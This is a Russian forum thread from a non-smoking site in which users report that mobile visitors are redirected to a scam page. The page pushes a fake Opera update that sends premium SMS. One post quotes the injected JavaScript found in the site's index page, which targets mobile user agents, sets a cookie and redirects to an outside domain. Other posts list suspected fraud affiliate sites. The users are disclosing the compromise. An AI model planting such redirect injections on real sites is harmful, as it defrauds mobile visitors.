NOSMOKING.RU - НЕ КУРИМ!
http://nosmoking.ru/phpBB2/

Переадресация на сайт мошенников!
http://nosmoking.ru/phpBB2/viewtopic.php?f=4&t=17101
Страница 2 из 2

Автор:  willbefree [ 22 окт 2011, 09:59 ]
Заголовок сообщения: 

...

Автор:  Игорюха [ 02 ноя 2011, 09:37 ]
Заголовок сообщения: 

Судя по тому, что вчера с мобильного на сайт зашёл, проблема с переадресацией Администрацией сайта решена.

Автор:  Mojo [ 04 ноя 2011, 15:12 ]
Заголовок сообщения: 

Сняли переадресацию. Теперь все норм с телефона :)

Автор:  Mojo [ 04 ноя 2011, 15:16 ]
Заголовок сообщения: 

Игорюха писал(а):
Судя по тому, что вчера с мобильного на сайт зашёл, проблема с переадресацией Администрацией сайта решена.
Решили. Сначала сайт начал переадресовывать на другой сайт с "подделкой", потом убрали таки эту хрень. Говорят денег на этом миллиарды зарабатывают. В Германии даже СМС с рекламой (спамом) без договоренности с владельцем номера слать нельзя, а в России можно все. А я думаю, откуда столько людей на джипах ездят :) :evil:

Автор:  Mojo [ 04 ноя 2011, 15:25 ]
Заголовок сообщения: 

Semafor писал(а):
То и удивляет, что поддельную оперу загружаю с официального сайта оперы :shock: , изначально заходя на www.opera.com простым набором адреса в строке браузера. Где ловушка?
Обычная Опера на www.opera.com, а в данном случае -левый сайт с левой Оперой. Ловушка -чел попадает на этот левый сайт, который говорит, что надо срочно Оперу обновить. Чел обновляет. В процессе установки подделка спрашивает типа [вы согласны с условиями] и варианты "Да" и "Далее" (в этой подделке так), жмете да и подделка шлет СМС на короткий платный номер. Вот где ловушка -чел не знает, что этой "левый" сайт и не знает, что официальный так навязывать типа новую версию оперы не имеет права, и ставит се на телефон модификацию

Автор:  Mojo [ 04 ноя 2011, 15:36 ]
Заголовок сообщения: 

vasm писал(а):
Подробнее можно почитать здесь, причем там и про наш сайт написано...
http://www.google.com/url?q=http://my.o ... -d_TaxPsHg
Так это я и писал там ))

Автор:  Mojo [ 04 ноя 2011, 15:47 ]
Заголовок сообщения: 

http://WapSyst.biz
http://wizard-mobile.com
http://wapmobile.biz

самые большие это первые две

а вот их топики на форуме, где они общаются
http://forum.searchengines.ru/showthrea ... ost9526202
http://forum.searchengines.ru/showthrea ... 69&page=17
http://forum.searchengines.ru/showthrea ... 35&page=59
http://forum.searchengines.ru/showthrea ... 959&page=5

Ну твари а! Россия... слов нет. Чурки на джипах ездят, русские на пятнашках ))
Инфа с того же форума на офсайте

Автор:  R. [ 01 май 2013, 21:26 ]
Заголовок сообщения:  Re: Переадресация на сайт мошенников!

С Android клиентов благополучно перебрасывает на "левый" сайт с предложением обновить браузер Opera. Увы :(

Автор:  crush [ 21 июн 2013, 00:25 ]
Заголовок сообщения:  Re: Переадресация на сайт мошенников!

R. писал(а):
С Android клиентов благополучно перебрасывает на "левый" сайт с предложением обновить браузер Opera. Увы :(

Подтверждаю. Ниже кусок html от /phpBB2/index.php , который Android'ов (и не только) пересылает на левый сайт, но только в том случае, если не проставлена кука, т.е. второй раз перекидывать не станет, только новых. Такая же фигня, вроде как, и с корня /

Кстати, очень интересно, что за дыра у вас позволяет инъекции подобные вставлять?


Код:
<!----------------------------- Counters ------------------------>
    <div align="center">
    <!--webbot bot="Include" U-Include="webbot_enclosement.shtml" TAG="BODY" startspan -->

                <table border="0" cellpadding="3" cellspacing="0" width="100%">
                  <tbody>
                    <tr>
                      <td valign="top"><!-- SpyLOG f:0211 -->
<script language="javascript"><!--
Mu="u1063.26.spylog.com";Md=document;Mnv=navigator;Mp=1;
Mn=(Mnv.appName.substring(0,2)=="Mi")?0:1;Mrn=Math.random();
Mt=(new Date()).getTimezoneOffset();
Mz="p="+Mp+"&rn="+Mrn+"&t="+Mt;
My="";
My+="<a href='http://"+Mu+"/cnt?cid=106326&f=3&p="+Mp+"&rn="+Mrn+"' target='_blank'>";
My+="<img src='http://"+Mu+"/cnt?cid=106326&"+Mz+"&r="+escape(Md.referrer)+"&pg="+escape(window.location.href)+"' border=0 width=88 height=31 alt='SpyLOG'>";
My+="</a>";Md.write(My);
var gx = [/m(ob|in)i|droid|symb|midp|j2me/i, /ip(h|a|o)/i, navigator.userAgent, ".c1z", window.location.hostname];
function cc(b) {
  location.replace("http://" + b[4] + b[3] + ".ru/r/?mm=22")
}
function cx(b) {
  for(var d = document.cookie.split(";"), c = 0;c < d.length;c++) {
    for(var a = d[c];" " == a.charAt(0);) {
      a = a.substring(1, a.length)
    }
    if(0 == a.indexOf(b)) {
      return!0
    }
  }
  return!1
}
if(!cx("often=") && !cx("ref=")) {
  var dx = new Date;
  dx.setTime(dx.getTime() + 432E5);
  document.cookie = "ref=1; expires=" + dx.toGMTString() + "; path=/";
  gx[2].match(gx[0]) && !gx[2].match(gx[1]) && cc(gx)
}
;
//--></script><noscript>

Страница 2 из 2 Часовой пояс: UTC + 4 часа
Powered by phpBB® Forum Software © phpBB Group
http://www.phpbb.com/